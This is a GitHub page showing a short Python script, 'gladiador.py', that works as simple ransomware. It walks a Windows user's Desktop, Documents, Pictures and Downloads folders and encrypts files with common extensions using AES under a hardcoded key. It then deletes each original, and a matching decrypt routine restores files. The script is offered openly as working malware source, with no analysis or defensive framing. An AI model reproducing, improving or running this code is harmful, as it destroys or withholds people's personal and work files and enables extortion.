-
Notifications
You must be signed in to change notification settings - Fork 0
/
gladiador.py
99 lines (84 loc) · 2.94 KB
/
gladiador.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import os ,random,struct
from Crypto.Cipher import AES
import string
class Gladiador:
def remove_f(self,infile):
os.remove(infile)
def encrypt(self):
out_filename = self.in_filename+".encrypted"
iv = ' '.join(random.choices(string.ascii_letters+string.digits,k=16)).encode("utf-8").replace(b' ',b'')
cipher = AES.new(self.key,AES.MODE_CBC,iv)
filesize = os.path.getsize(self.in_filename)
with open(self.in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q',filesize))
outfile.write(iv)
while True:
chunk = infile.read()
if len(chunk) == 0 :
break
elif len(chunk) % 16 != 0 :
chunk += b' ' * (16 - len(chunk)%16 )
outfile.write(cipher.encrypt(chunk))
self.remove_f(self.in_filename)
def decrypt(self):
out2file = self.in_filename.replace(".encrypted","")
with open(self.in_filename,'rb') as outfile:
binary_string = outfile.read()
size = struct.unpack('<Q',binary_string[:8])
size = size[0]
iv=binary_string[8:24]
binary_string_original = binary_string[24:]
cipher = AES.new(self.key,AES.MODE_CBC,iv)
decrypted = cipher.decrypt(binary_string_original)
with open(out2file,'wb') as cleartext :
cleartext.write(decrypted)
cleartext.close()
outfile.close()
os.remove(out2file+".encrypted")
def __init__(self,key,in_filename):
self.key = key
self.in_filename = in_filename
if __name__ == '__main__':
#get username
USER = os.getlogin()
#locations to lookup
LOCATIONS = ["Desktop","Documents","Pictures","Downloads"]
#extensions to encode
EXT = [
".txt",
".png",
".jpg",
".pdf",
".png",
".php",
".html",
".htm",
".aspx",
".asp",
".js",
".mp4",
".mp3",
".bk",
".zip",
".rar",
".gif",
".ppt",
".jpeg",
".xsl",
".ascx",
".json",
".pptx"
]
#remover llave
secret = 'this is a key123'.encode("utf-8")
for location in LOCATIONS:
path = "C:\\Users\\"+USER+"\\"+location+"\\"
for root,dirs,files in os.walk(path):
for file in files:
x,y = os.path.splitext(path+file)
if file == "gladiador.py":
pass
elif y.lower() in EXT:
obj = Gladiador(secret,os.path.join(root, file))
obj.encrypt()